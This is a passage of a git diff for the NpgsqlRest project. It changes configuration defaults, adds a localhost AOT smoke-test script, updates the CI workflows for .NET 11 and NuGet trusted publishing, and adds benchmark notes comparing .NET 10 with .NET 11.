password parameter. // Password parameter is the first parameter which name contains the value of PasswordParameterNameContains. - // If verification fails, the login will fail and the HTTP Status Code will be set to 404 Not Found. + // If verification fails, the login will fail with 401 Unauthorized (the same response as when no record is returned). // "HashColumnName": "hash", // @@ -2556,7 +2587,7 @@ // - If "StatusColumnName" is present in the returned record, it must be either boolean (true for success, false for failure) or numeric (HTTP Status Code, 200 for success, anything else for failure). If not present, the success is when the endpoint returns any records. // - If "SchemeColumnName" is present in the returned record, it must be text value that defines the authentication scheme to use for the login. // - If "BodyColumnName" is present in the returned record, it must be text value that defines the message to return to the client as response body where possible. This only works for authentication that doesn't write response body (cookie authentication). - // - If "HashColumnName" is present in the returned record, it must be text value that defines the hash of the password. Password parameter is the first parameter which name contains the value of PasswordParameterNameContains option. If verification fails, the login will fail and the HTTP Status Code will be set to 404 Not Found. + // - If "HashColumnName" is present in the returned record, it must be text value that defines the hash of the password. Password parameter is the first parameter which name contains the value of PasswordParameterNameContains option. If verification fails, the login will fail with 401 Unauthorized (the same response as when no record is returned). // "LoginPath": null, // @@ -2699,9 +2730,11 @@ // "DocumentDescription": null, // - // OpenAPI specification version of the generated document: "3.0" or "3.1". + // OpenAPI specification version of the generated document: "3.0", "3.1" or "3.2". // "3.0" emits openapi: 3.0.3 (default, backward compatible), - // "3.1" emits openapi: 3.1.1 (JSON Schema 2020-12 alignment). + // "3.1" emits openapi: 3.1.1 (JSON Schema 2020-12 alignment), + // "3.2" emits openapi: 3.2.0 and documents HTTP QUERY endpoints, which earlier versions cannot describe + // (they are left out with a warning). Check that your tools read 3.2 before choosing it. // This is the spec version, not your API version (that is DocumentVersion). // "SpecVersion": "3.0", @@ -2809,7 +2842,7 @@ // "RateLimiterPolicy": null, // - // Allowed values of the HTTP Origin header (DNS-rebinding protection for the Streamable HTTP transport). A request whose Origin is present but matches neither this list nor the server's own origin is rejected with 403. Requests without an Origin header (e.g. server-to-server) are allowed. Empty = only same-origin browser requests pass. + // Allowed values of the HTTP Origin header (DNS-rebinding protection for the Streamable HTTP transport). A request whose Origin is present but matches neither this list nor the server's own origin is rejected with 403. The server's own origin counts only for localhost, IP addresses and the host names the server is bound to (Urls); a browser page served under any other host name must be listed here. Requests without an Origin header (e.g. server-to-server, desktop and IDE clients) are allowed. // "AllowedOrigins": [], // @@ -3257,16 +3290,19 @@ "ForwardHeaders": true, // // Headers to exclude from forwarding to the proxy target. + // The caller's credentials (Cookie, Authorization, Proxy-Authorization) are excluded by default so a user's session + // cookie or bearer token is not sent to the upstream host. Remove "Authorization" to forward bearer tokens to a trusted internal service. // - "ExcludeHeaders": ["Host", "Content-Length", "Transfer-Encoding"], + "ExcludeHeaders": ["Host", "Content-Length", "Transfer-Encoding", "Cookie", "Authorization", "Proxy-Authorization"], // // When true, forward response headers from proxy back to client. // "ForwardResponseHeaders": true, // // Response headers to exclude from forwarding back to client. + // Set-Cookie is excluded by default so the upstream host cannot set cookies on this application's origin. // - "ExcludeResponseHeaders": ["Transfer-Encoding", "Content-Length"], + "ExcludeResponseHeaders": ["Transfer-Encoding", "Content-Length", "Set-Cookie"], // // Default name for the proxy response status code parameter. // diff --git a/.github/scripts/aot-smoke-test.sh b/.github/scripts/aot-smoke-test.sh new file mode 100755 index 00000000..6127311d --- /dev/null +++ b/.github/scripts/aot-smoke-test.sh @@ -0,0 +1,97 @@ +#!/usr/bin/env bash +# AOT smoke test: starts a published npgsqlrest binary against PostgreSQL and serves real requests. +# A version check or config validation is not enough - in .NET 11 a native AOT build once passed both and then +# crashed on its first request. +# +# Usage: aot-smoke-test.sh +# Env: PSQL command that runs psql as a superuser (default: psql -h localhost -U postgres) +# PGCONN connection string base for the server (default: Host=localhost;Port=5432;Username=postgres;Password=postgres) +set -euo pipefail + +BIN="$1" +PSQL="${PSQL:-psql -h localhost -U postgres}" +PGCONN="${PGCONN:-Host=localhost;Port=5432;Username=postgres;Password=postgres}" +DB=npgsqlrest_aot_smoke +PORT=5899 +LOG="$(mktemp)" +export PGPASSWORD="${PGPASSWORD:-postgres}" + +$PSQL -v ON_ERROR_STOP=1 -q -d postgres -c "drop database if exists $DB" -c "create database $DB" +$PSQL -v ON_ERROR_STOP=1 -q -d $DB <<'SQL' +create function smoke_text() returns text language sql stable as $$ select 'Hello, World!' $$; +create function smoke_rows(_count int) returns table (id int, name text, tags text[], data jsonb) language sql stable as $$ + select i, 'name ' || i, array['a' || i, 'b\'], jsonb_build_object('i', i) from generate_series(1, _count) i $$; +create function smoke_echo(_value text) returns text language sql as $$ select 'got ' || _value $$; +create function smoke_void() returns void language sql as $$ select 1 $$; +create function smoke_secret() returns text language sql stable as $$ select 'secret' $$; +create function smoke_big() returns text language sql stable as $$ select repeat('x', 200000) $$; +-- The request context is sent together with the routine, in a batch with text results (RequestContextBatch). +create function smoke_context(_p text) returns table (p text, ip text, header text, flag boolean, n numeric) language sql as $$ + select _p, current_setting('request.ip_address', true), + (select value from json_each_text(current_setting('request.headers', true)::json) where lower(key) = 'x-smoke'), true, 1.50 $$; +create function smoke_context_void() returns void language sql as $$ select current_setting('request.ip_address') $$; +create function smoke_context_left() returns text language sql as $$ + select coalesce(nullif(current_setting('request.ip_address', true), ''), 'nothing') $$; +comment on function smoke_text() is 'HTTP GET'; +comment on function smoke_rows(int) is 'HTTP GET'; +comment on function smoke_echo(text) is 'HTTP POST'; +comment on function smoke_void() is 'HTTP POST'; +comment on function smoke_secret() is 'HTTP GET +authorize'; +comment on function smoke_big() is 'HTTP GET'; +comment on function smoke_context(text) is 'HTTP GET +user_context +request_headers context'; +comment on function smoke_context_void() is 'HTTP POST +user_context'; +comment on function smoke_context_left() is 'HTTP GET'; +SQL + +# The default configuration requires authorization on every endpoint; smoke_secret keeps its own `authorize`. +"$BIN" "--ConnectionStrings:Default=$PGCONN;Database=$DB" "--Urls=http://127.0.0.1:$PORT" "--NpgsqlRest:RequiresAuthorization=false" \ + < /dev/null > "$LOG" 2>&1 & +PID=$! +cleanup() { + kill "$PID" 2>/dev/null || true + $PSQL -q -d postgres -c "drop database if exists $DB with (force)" > /dev/null 2>&1 || true +} +trap cleanup EXIT + +for _ in $(seq 1 120); do + grep -q 'Started in' "$LOG" && break + kill -0 "$PID" 2>/dev/null || { echo "FAIL: server exited during startup"; cat "$LOG"; exit 1; } + sleep 0.5 +done +grep -q 'Started in' "$LOG" || { echo "FAIL: server did not start"; cat "$LOG"; exit 1; } + +B="http://127.0.0.1:$PORT" +check() { # + if [ "$2" != "$3" ]; then + echo "FAIL $1"; echo " expected: $2"; echo " actual: $3"; echo "--- server log ---"; cat "$LOG"; exit 1 + fi + echo "ok $1" +} + +check "GET scalar" 'Hello, World! [200]' "$(curl -s -w ' [%{http_code}]' "$B/api/smoke-text")" +check "GET rows" '[{"id":1,"name":"name 1","tags":["a1","b\\"],"data":{"i": 1}},{"id":2,"name":"name 2","tags":["a2","b\\"],"data":{"i": 2}}] [200]' \ + "$(curl -s -w ' [%{http_code}]' "$B/api/smoke-rows?count=2")" +check "POST JSON body" 'got smoke [200]' "$(curl -s -w ' [%{http_code}]' -H 'Content-Type: application/json' -d '{"value":"smoke"}' "$B/api/smoke-echo")" +check "POST void" '[204]' "$(curl -s -o /dev/null -w '[%{http_code}]' -X POST "$B/api/smoke-void")" +check "GET authorize, anonymous" '[401]' "$(curl -s -o /dev/null -w '[%{http_code}]' "$B/api/smoke-secret")" +check "GET gzip" '[200]' "$(curl -s --compressed -H 'Accept-Encoding: gzip' -o /dev/null -w '[%{http_code}]' "$B/api/smoke-rows?count=200")" +# Responses that are sent in several pieces: a value larger than 64 KB, and more rows than fit in 16 KB. +check "GET large scalar" '200000 [200]' "$(curl -s -o /dev/null -w '%{size_download} [%{http_code}]' "$B/api/smoke-big")" +check "GET 2000 rows" '2000' "$(curl -s "$B/api/smoke-rows?count=2000" | grep -o '"id":' | wc -l | tr -d ' ')" +# The request context and the routine in one round trip; values are read as text and nothing stays on the connection +# (which is not reset here: no endpoint leaves session-level settings). +check "GET user_context" '[{"p":"x","ip":"127.0.0.1","header":"smoke header","flag":true,"n":1.50}] [200]' \ + "$(curl -s -w ' [%{http_code}]' -H 'X-Smoke: smoke header' "$B/api/smoke-context?p=x")" +check "POST user_context, void" '[204]' "$(curl -s -o /dev/null -w '[%{http_code}]' -X POST "$B/api/smoke-context-void")" +check "context is gone after the request" 'nothing nothing nothing nothing nothing nothing nothing nothing' \ + "$(for _ in 1 2 3 4 5 6 7 8; do curl -s "$B/api/smoke-context-left"; echo; done | tr '\n' ' ' | sed 's/ $//')" +check "200 parallel requests with context" '200' \ + "$(seq 1 200 | xargs -P 20 -I{} curl -s -H 'X-Smoke: smoke header' "$B/api/smoke-context?p={}" | grep -o '"ip":"127.0.0.1","header":"smoke header"' | wc -l | tr -d ' ')" +check "200 parallel requests" '200' \ + "$(seq 1 200 | xargs -P 20 -I{} curl -s -o /dev/null -w '%{http_code}\n' "$B/api/smoke-rows?count=10" | grep -c '^200$')" +kill -0 "$PID" 2>/dev/null || { echo "FAIL: server died"; cat "$LOG"; exit 1; } +echo "ok server alive after all requests" diff --git a/.github/workflows/build-test-publish.yml b/.github/workflows/build-test-publish.yml index e9d337b2..512c2d00 100644 --- a/.github/workflows/build-test-publish.yml +++ b/.github/workflows/build-test-publish.yml @@ -13,6 +13,9 @@ permissions: jobs: build-test-publish: runs-on: ubuntu-22.04 + permissions: + contents: read + id-token: write # NuGet trusted publishing: GitHub issues the token that NuGet/login exchanges for a key services: postgres: image: postgres:17 @@ -29,18 +32,30 @@ jobs: --health-retries 5 steps: - uses: actions/checkout@v4 # Updated from v2 - - name: Setup .NET10 + - name: Setup .NET 10 and .NET 11 uses: actions/setup-dotnet@v4 with: - dotnet-version: 10.0.x + dotnet-version: | + 10.0.x + 11.0.x - name: Install dependencies run: dotnet restore - name: Build run: dotnet build --configuration Release --no-restore - name: Test run: dotnet test --no-restore --verbosity m + - name: Test on .NET 10 + # The library and plugins also target net10.0 (LTS): run the whole suite against that build too. + run: dotnet test NpgsqlRestTests/NpgsqlRestTests.csproj -c Release -p:NpgsqlRestTestFramework=net10.0 --verbosity m + # NuGet trusted publishing: no stored API key that expires. nuget.org has a policy that trusts this + # repository and this workflow file; the login step exchanges GitHub's token for a key valid for one hour. + - name: NuGet login (trusted publishing) + uses: NuGet/login@v1 + id: nuget_login + with: + user: vbilopav # the nuget.org profile name that owns the packages - name: Publish - run: dotnet nuget push **\*.nupkg --source https://api.nuget.org/v3/index.json --api-key ${{secrets.NUGET_API_KEY}} --skip-duplicate + run: dotnet nuget push **\*.nupkg --source https://api.nuget.org/v3/index.json --api-key ${{ steps.nuget_login.outputs.NUGET_API_KEY }} --skip-duplicate create-release: needs: build-test-publish @@ -55,22 +70,35 @@ jobs: uses: actions/checkout@v4 - name: Set release version from version.txt run: echo "RELEASE_VERSION=v$(cat version.txt)" >> "$GITHUB_ENV" - - name: Extract changelog for this version + - name: Write the release description id: changelog run: | - # Per-version changelog files live under changelog/v.md. - # Strip the "v" prefix from RELEASE_VERSION (e.g. "v3.15.1" -> "3.15.1") and read that file. + # The release description is short: the changelog's opening paragraphs (everything before its first + # "### " section), then links to the full changelog and a list of what is attached. The whole + # changelog is not copied here; it lives in changelog/v.md and on the documentation site. VERSION_NUM="${RELEASE_VERSION#v}" VERSION_FILE="changelog/v${VERSION_NUM}.md" - - if [ -f "$VERSION_FILE" ]; then - # Skip the leading "# Changelog vX.Y.Z (date)" title line - CHANGELOG=$(tail -n +2 "$VERSION_FILE") - else - CHANGELOG="See [full changelog](https://github.com/NpgsqlRest/NpgsqlRest/blob/master/changelog/) for details." - fi - - echo "$CHANGELOG" > release_notes.md + { + if [ -f "$VERSION_FILE" ]; then + # skip the "# Changelog vX.Y.Z" title, the "## Version ..." heading and the "[Full Changelog]" line + awk '/^### /{exit} NR>1 && !/^## Version / && !/^\[Full Changelog\]/' "$VERSION_FILE" \ + | sed -e '/^---[[:space:]]*$/d' -e "s|](#|](https://npgsqlrest.github.io/guide/changelog/${RELEASE_VERSION}#|g" | cat -s + echo + fi + echo "## Changelog" + echo + echo "- [Changelog for ${RELEASE_VERSION}](https://npgsqlrest.github.io/guide/changelog/${RELEASE_VERSION}) on the documentation site" + echo "- [changelog/${RELEASE_VERSION}.md](https://github.com/NpgsqlRest/NpgsqlRest/blob/${RELEASE_VERSION}/changelog/${RELEASE_VERSION}.md) in this repository" + echo + echo "## Install" + echo + echo "- **Binaries** (below): \`npgsqlrest-linux64\`, \`npgsqlrest-linux-arm64\`, \`npgsqlrest-osx-arm64\`, \`npgsqlrest-win64.exe\`, and the default \`appsettings.json\`" + echo "- **npm**: \`npm install npgsqlrest@${VERSION_NUM}\`" + echo "- **Docker**: \`docker pull vbilopav/npgsqlrest:${RELEASE_VERSION}\` (also \`-aot\`, \`-jit\`, \`-arm\`, \`-bun\`)" + echo "- **NuGet**: \`dotnet add package NpgsqlRest --version ${VERSION_NUM}\`" + echo "- [Installation guide](https://npgsqlrest.github.io/guide/installation)" + } > release_notes.md + cat release_notes.md env: RELEASE_VERSION: ${{ env.RELEASE_VERSION }} - name: Create Release @@ -112,10 +140,10 @@ jobs: contents: write steps: - uses: actions/checkout@v4 - - name: Setup .NET10 + - name: Setup .NET11 uses: actions/setup-dotnet@v4 with: - dotnet-version: 10.0.x + dotnet-version: 11.0.x - name: Build Windows AOT run: dotnet publish ./NpgsqlRestClient/NpgsqlRestClient.csproj -r win-x64 -c Release - name: Upload Windows executable @@ -124,7 +152,7 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.create-release.outputs.upload_url }} - asset_path: ./NpgsqlRestClient/bin/Release/net10.0/win-x64/publish/NpgsqlRestClient.exe + asset_path: ./NpgsqlRestClient/bin/Release/net11.0/win-x64/publish/NpgsqlRestClient.exe asset_name: npgsqlrest-win64.exe asset_content_type: application/octet-stream @@ -149,13 +177,13 @@ jobs: --health-retries 5 steps: - uses: actions/checkout@v4 - - name: Setup .NET10 + - name: Setup .NET11 uses: actions/setup-dotnet@v4 with: - dotnet-version: 10.0.x + dotnet-version: 11.0.x - name: Build Linux AOT run: dotnet publish ./NpgsqlRestClient/NpgsqlRestClient.csproj -r linux-x64 -c Release - - name: AOT smoke test (config validation + database connection) + - name: AOT smoke test (config validation, database connection, real requests) run: | cat > smoke.appsettings.json <<'SMOKE' { @@ -164,23 +192,24 @@ jobs: } } SMOKE - BIN=./NpgsqlRestClient/bin/Release/net10.0/linux-x64/publish/NpgsqlRestClient + BIN=./NpgsqlRestClient/bin/Release/net11.0/linux-x64/publish/NpgsqlRestClient "$BIN" --version "$BIN" smoke.appsettings.json --validate + ./.github/scripts/aot-smoke-test.sh "$BIN" - name: Upload Linux executable uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.create-release.outputs.upload_url }} - asset_path: ./NpgsqlRestClient/bin/Release/net10.0/linux-x64/publish/NpgsqlRestClient + asset_path: ./NpgsqlRestClient/bin/Release/net11.0/linux-x64/publish/NpgsqlRestClient asset_name: npgsqlrest-linux64 asset_content_type: application/octet-stream - name: Upload Linux executable artifact uses: actions/upload-artifact@v4 with: name: npgsqlrest-linux64 - path: ./NpgsqlRestClient/bin/Release/net10.0/linux-x64/publish/NpgsqlRestClient + path: ./NpgsqlRestClient/bin/Release/net11.0/linux-x64/publish/NpgsqlRestClient build-linux-arm: needs: create-release @@ -189,10 +218,10 @@ jobs: contents: write steps: - uses: actions/checkout@v4 - - name: Setup .NET10 + - name: Setup .NET11 uses: actions/setup-dotnet@v4 with: - dotnet-version: 10.0.x + dotnet-version: 11.0.x - name: Build Linux ARM64 AOT run: dotnet publish ./NpgsqlRestClient/NpgsqlRestClient.csproj -r linux-arm64 -c Release - name: Upload Linux ARM64 executable @@ -201,14 +230,14 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.create-release.outputs.upload_url }} - asset_path: ./NpgsqlRestClient/bin/Release/net10.0/linux-arm64/publish/NpgsqlRestClient + asset_path: ./NpgsqlRestClient/bin/Release/net11.0/linux-arm64/publish/NpgsqlRestClient asset_name: npgsqlrest-linux-arm64 asset_content_type: application/octet-stream - name: Upload Linux ARM64 executable artifact uses: actions/upload-artifact@v4 with: name: npgsqlrest-linux-arm64 - path: ./NpgsqlRestClient/bin/Release/net10.0/linux-arm64/publish/NpgsqlRestClient + path: ./NpgsqlRestClient/bin/Release/net11.0/linux-arm64/publish/NpgsqlRestClient build-macos: needs: create-release @@ -217,10 +246,10 @@ jobs: contents: write steps: - uses: actions/checkout@v4 - - name: Setup .NET10 + - name: Setup .NET11 uses: actions/setup-dotnet@v4 with: - dotnet-version: 10.0.x + dotnet-version: 11.0.x - name: Build macOS ARM64 AOT run: dotnet publish ./NpgsqlRestClient/NpgsqlRestClient.csproj -r osx-arm64 -c Release - name: Upload macOS executable @@ -229,7 +258,7 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.create-release.outputs.upload_url }} - asset_path: ./NpgsqlRestClient/bin/Release/net10.0/osx-arm64/publish/NpgsqlRestClient + asset_path: ./NpgsqlRestClient/bin/Release/net11.0/osx-arm64/publish/NpgsqlRestClient asset_name: npgsqlrest-osx-arm64 asset_content_type: application/octet-stream diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 37f8c0fa..d6a6bdac 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -24,13 +24,106 @@ jobs: postgresql user: 'postgres' postgresql password: 'postgres' - uses: actions/checkout@v4 - - name: Setup .NET10 + - name: Setup .NET 10 and .NET 11 uses: actions/setup-dotnet@v4 with: - dotnet-version: 10.0.x + dotnet-version: | + 10.0.x + 11.0.x - name: Install dependencies run: dotnet restore - name: Build run: dotnet build --configuration Release --no-restore - name: Test run: dotnet test --no-restore --verbosity m + - name: Test on .NET 10 + # The library and plugins also target net10.0 (LTS): run the whole suite against that build too. + run: dotnet test NpgsqlRestTests/NpgsqlRestTests.csproj -c Release -p:NpgsqlRestTestFramework=net10.0 --verbosity m + + aot-smoke: + # Publishes the native AOT executable and serves real requests with it. A version check is not enough: + # a native AOT build once passed it and crashed on its first request. + runs-on: ubuntu-22.04 + services: + postgres: + image: postgres:17 + env: + POSTGRES_USER: postgres + POSTGRES_PASSWORD: postgres + POSTGRES_DB: postgres + ports: + - 5432:5432 + options: >- + --health-cmd pg_isready + --health-interval 10s + --health-timeout 5s + --health-retries 5 + steps: + - uses: actions/checkout@v4 + - name: Setup .NET11 + uses: actions/setup-dotnet@v4 + with: + dotnet-version: 11.0.x + - name: Build Linux AOT + run: dotnet publish ./NpgsqlRestClient/NpgsqlRestClient.csproj -r linux-x64 -c Release + - name: AOT smoke test (real requests) + run: ./.github/scripts/aot-smoke-test.sh ./NpgsqlRestClient/bin/Release/net11.0/linux-x64/publish/NpgsqlRestClient + + release-builds: + # A rehearsal of what the release workflow builds and nothing here runs before a release: the native AOT + # executable for the other platforms. The release publishes to NuGet before it builds these, so a build + # that fails there leaves a release without some of its binaries. + strategy: + fail-fast: false + matrix: + include: + - os: windows-2022 + rid: win-x64 + exe: NpgsqlRestClient.exe + - os: ubuntu-22.04-arm + rid: linux-arm64 + exe: NpgsqlRestClient + - os: macos-latest + rid: osx-arm64 + exe: NpgsqlRestClient + runs-on: ${{ matrix.os }} + steps: + - uses: actions/checkout@v4 + - name: Setup .NET11 + uses: actions/setup-dotnet@v4 + with: + dotnet-version: 11.0.x + - name: Build AOT (${{ matrix.rid }}) + run: dotnet publish ./NpgsqlRestClient/NpgsqlRestClient.csproj -r ${{ matrix.rid }} -c Release + - name: The executable starts and reports the version in version.txt + shell: bash + run: | + OUT=$(./NpgsqlRestClient/bin/Release/net11.0/${{ matrix.rid }}/publish/${{ matrix.exe }} --version) + echo "$OUT" + echo "$OUT" | grep -E "^NpgsqlRestClient[[:space:]]+$(cat version.txt)\.0" + + release-images: + # The same for the Docker images: built as the release builds them, not pushed. + runs-on: ubuntu-22.04 + steps: + - uses: actions/checkout@v4 + - name: Setup .NET11 + uses: actions/setup-dotnet@v4 + with: + dotnet-version: 11.0.x + - name: Build Linux AOT + run: dotnet publish ./NpgsqlRestClient/NpgsqlRestClient.csproj -r linux-x64 -c Release + - name: AOT image (docker/Dockerfile) runs the executable + run: | + cp ./NpgsqlRestClient/bin/Release/net11.0/linux-x64/publish/NpgsqlRestClient ./docker/NpgsqlRestClient + chmod +x ./docker/NpgsqlRestClient + docker build -f docker/Dockerfile -t npgsqlrest-check:aot ./docker + docker run --rm npgsqlrest-check:aot --version | grep -E "^NpgsqlRestClient[[:space:]]+$(cat version.txt)\.0" + - name: Bun image (docker/Dockerfile.bun) runs the executable + run: | + docker build -f docker/Dockerfile.bun -t npgsqlrest-check:bun ./docker + docker run --rm npgsqlrest-check:bun --version | grep -E "^NpgsqlRestClient[[:space:]]+$(cat version.txt)\.0" + - name: JIT image (docker/Dockerfile.jit) builds and reports the version in version.txt + run: | + docker build -f docker/Dockerfile.jit -t npgsqlrest-check:jit . + docker run --rm npgsqlrest-check:jit --version | grep -E "^NpgsqlRestClient[[:space:]]+$(cat version.txt)\.0" diff --git a/BenchmarkTests/Baselines/EndpointBenchmarks-3.21.0.md b/BenchmarkTests/Baselines/EndpointBenchmarks-3.21.0.md new file mode 100644 index 00000000..898855fc --- /dev/null +++ b/BenchmarkTests/Baselines/EndpointBenchmarks-3.21.0.md @@ -0,0 +1,60 @@ +# EndpointBenchmarks baseline: 3.21.0 (before the 4.0.0 upgrades) + +> **Superseded for the .NET 11 comparison:** these numbers were measured with BenchmarkDotNet 0.15.8, which cannot run on .NET 11. The before/after comparison, with the .NET 10 side measured again under BenchmarkDotNet 0.16.0-preview.2, is in `EndpointBenchmarks-4.0.0-net11.md`. + +Recorded 2026-11-11 on branch `4.0.0` at `6cc6f55`, which has the same code as the 3.21.0 release. Taken **before** any 4.0.0 dependency or runtime upgrades, for a before/after comparison. + +## What was measured + +Full HTTP round trips: `HttpClient` → Kestrel (127.0.0.1) → NpgsqlRest → PostgreSQL → response. Requests run one at a time over a keep-alive connection. "Allocated" counts the whole process (client and server). + +- `GetText`: `GET /api/benchmark-get-text` returns the scalar `Hello, World!`. This is the fixed cost of one request. +- `GetRows100`: `GET /api/benchmark-get-rows?count=100` returns 100 rows of int, text, bool, numeric, timestamptz, text[] and jsonb as a JSON array. + +## Environment + +| | | +|---|---| +| Machine | Apple M4 Pro, 14 cores, macOS 27.0.1 | +| Runtime | .NET 10.0.0 (Arm64 RyuJIT), Concurrent Workstation GC; Microsoft.AspNetCore.App 10.0.0 | +| SDK | .NET SDK 11.0.100 (global.json: 10.0.0 + rollForward latestMajor) | +| BenchmarkDotNet | 0.15.8, DefaultJob | +| Npgsql | 10.0.3 | +| PostgreSQL | 17.10, Docker `postgres:17-alpine` (image `sha256:742f40ea20b9…`), container `npgsqlrest-benchmark-pg` on port 55432 | + +## Results + +Run 1: + +| Method | Mean | Error | StdDev | Ratio | RatioSD | Gen0 | Gen1 | Allocated | Alloc Ratio | +|----------- |---------:|--------:|---------:|------:|--------:|--------:|-------:|----------:|------------:| +| GetText | 188.6 us | 3.73 us | 3.49 us | 1.00 | 0.03 | 0.4883 | - | 7.19 KB | 1.00 | +| GetRows100 | 458.8 us | 8.97 us | 11.34 us | 2.43 | 0.07 | 23.4375 | 2.9297 | 190.73 KB | 26.53 | + +Run 2 (repeated to see how much results vary between runs): + +| Method | Mean | Error | StdDev | Ratio | RatioSD | Gen0 | Gen1 | Allocated | Alloc Ratio | +|----------- |---------:|--------:|---------:|------:|--------:|--------:|-------:|----------:|------------:| +| GetText | 189.7 us | 3.56 us | 3.81 us | 1.00 | 0.03 | 0.4883 | - | 7.19 KB | 1.00 | +| GetRows100 | 464.1 us | 9.25 us | 12.66 us | 2.45 | 0.08 | 23.4375 | 1.9531 | 190.72 KB | 26.52 | + +The two runs differ by about 1% in mean time, and allocations are identical. After an upgrade, treat a time change of less than about 3% as noise. Any change in Allocated is real. + +## Reproduce / compare after upgrading + +Use the same machine and the same PostgreSQL container. Close other heavy apps first. + +```bash +# PostgreSQL: reuse the same container (create it only if it no longer exists) +docker start npgsqlrest-benchmark-pg \ + || docker run -d --name npgsqlrest-benchmark-pg -e POSTGRES_PASSWORD=postgres -p 55432:5432 postgres:17-alpine + +cd BenchmarkTests +NPGSQLREST_BENCHMARK_CONNECTION="Host=localhost;Port=55432;Database=postgres;Username=postgres;Password=postgres" \ + dotnet run -c Release -- --endpoints + +# Report: BenchmarkTests/BenchmarkDotNet.Artifacts/results/BenchmarkTests.EndpointBenchmarks-report-github.md +docker stop npgsqlrest-benchmark-pg +``` + +If the upgrade changes the target framework (for example to net11.0), the runtime line in the report changes too. That difference is part of what is being measured. diff --git a/BenchmarkTests/Baselines/EndpointBenchmarks-4.0.0-net11.md b/BenchmarkTests/Baselines/EndpointBenchmarks-4.0.0-net11.md new file mode 100644 index 00000000..8ea3a680 --- /dev/null +++ b/BenchmarkTests/Baselines/EndpointBenchmarks-4.0.0-net11.md @@ -0,0 +1,104 @@ +# EndpointBenchmarks: .NET 10 (3.21.0) vs .NET 11 (4.0.0 upgrades) + +Recorded 2026-11-11, on the same machine and PostgreSQL container as the baseline (`EndpointBenchmarks-3.21.0.md`): Apple M4 Pro, PostgreSQL 17.10 in `npgsqlrest-benchmark-pg`. + +## Why the original baseline is not used directly + +BenchmarkDotNet 0.15.8, the latest stable version and the one used for the baseline, cannot run on .NET 11. It fails with `NotImplementedException: GetRuntimeVersion not implemented for NotRecognized`. The project now uses **0.16.0-preview.2**. + +Changing the measurement tool changes the numbers by itself. For example, the .NET 10 allocations read 7.19 KB under 0.15.8 and 7.13 KB under the preview. So the .NET 10 side was **measured again with the same preview tool**, as a control. The control used the unmodified 3.21.0 commit, with only the benchmark files added. Two of the four pairs alternated the .NET 11 and .NET 10 runs, so both saw the same machine conditions. + +| | .NET 10 control | .NET 11 | +|---|---|---| +| Code | `6cc6f55` (3.21.0), net10.0, LangVersion 14 | branch `4.0.0` (all projects net11.0, packages upgraded) | +| Runtime | .NET 10.0.0 (10.0.25.52411) | .NET 11.0.0 (11.0.26.53018) | +| ASP.NET Core / Microsoft.Extensions | 10.0.x | 11.0.0 | +| Npgsql | 10.0.3 | 10.0.3 (no 11.x exists) | +| BenchmarkDotNet | 0.16.0-preview.2, DefaultJob | 0.16.0-preview.2, DefaultJob | + +## Results (4 runs each) + +Mean time per request (µs): + +| Benchmark | .NET 10 runs | .NET 10 avg | .NET 11 runs | .NET 11 avg | Change | +|---|---|---:|---|---:|---:| +| GetText | 189.8, 181.6, 180.9, 179.5 | 183.0 | 191.4, 197.4, 191.1, 189.1 | 192.3 | **+9.3 µs (+5.1%)** | +| GetRows100 | 447.8, 438.2, 444.3, 439.1 | 442.4 | 457.5, 462.1, 456.5, 456.5 | 458.2 | **+15.8 µs (+3.6%)** | + +Allocated per request (whole process, client and server). Allocations are deterministic, so these are identical in every run: + +| Benchmark | .NET 10 | .NET 11 | Change | +|---|---:|---:|---:| +| GetText | 7.13 KB | 7.27 KB | **+0.14 KB (+2.0%)** | +| GetRows100 | 190.67 KB | 190.87 KB | +0.20 KB (+0.1%) | + +## Reading + +- On .NET 11, each request takes about 10–16 µs longer, roughly 4–5%. Every .NET 11 run is slower than every .NET 10 run for GetRows100. For GetText, every .NET 11 run except the 197.4 µs outlier lies between 189.1 and 191.4 µs, while three of the four .NET 10 runs are at or below 181.6 µs. So this is a small but consistent regression, not noise. +- Each request also allocates about 150–200 bytes more, and the amount is the same for both benchmarks. That points to a fixed per-request cost in the HTTP stack (HttpClient, Kestrel, hosting or runtime), not to row serialization. +- This benchmark sends one request at a time, with the client and server in the same process and the Concurrent Workstation GC. It measures fixed latency per request, not throughput under load. + +## Where the time goes (layered run) + +Two reference benchmarks were added to separate the platform's share from NpgsqlRest's: + +- `HttpOnly`: the same HTTP round trip to a plain `MapGet` endpoint that writes `Hello, World!`, with no NpgsqlRest and no database. +- `NpgsqlOnly`: the same database call made directly through Npgsql (open a pooled connection, execute, read the scalar), with no HTTP. + +These are 2 alternating pairs, with the same tool and the same machine as above: + +| Benchmark | .NET 10 runs (µs) | .NET 11 runs (µs) | Time change (avg) | Allocated change | +|---|---|---|---:|---:| +| HttpOnly | 33.99, 34.49 | 41.93, 37.70 | **+5.6 µs (+16%)** | 2.99 → 3.03 KB (~+40 B) | +| NpgsqlOnly | 131.59, 137.02 | 138.42, 131.13 | +0.5 µs (noise) | 1.55 → 1.57 KB (~+20 B) | +| GetText | 184.32, 181.81 | 198.09, 191.18 | +11.6 µs (+6.3%) | 7.13 → 7.28 KB (~+160 B) | +| GetRows100 | 460.50, 446.92 | 476.80, 453.62 | +11.5 µs (+2.5%, noisy) | 190.68 → 190.86 KB | + +- **About half of the extra time is in .NET 11 itself.** A plain ASP.NET Core endpoint with no NpgsqlRest code is about 5.6 µs slower on .NET 11 (HttpClient, Kestrel and routing on loopback, macOS arm64), and both .NET 11 runs are slower than both .NET 10 runs. +- **Npgsql shows no regression:** the times are within noise. +- **About 5–6 µs and roughly 100 B per request are left over,** and they appear only on NpgsqlRest's own request path. This part is ours to investigate. Either NpgsqlRest code compiled against .NET 11 binds to different APIs (or C# 15 generates different code), or some API it uses behaves differently on the .NET 11 runtime. The layers don't add up exactly, because NpgsqlRest's database call isn't identical to `NpgsqlOnly`, so treat this split as approximate. + +## Experiment: Runtime Async (`runtime-async=on`) + +Runtime Async is the main .NET 11 performance feature that needs an opt-in, and it's still a preview feature for user code. The test build had it enabled for every project (NpgsqlRest core, plugins, client, 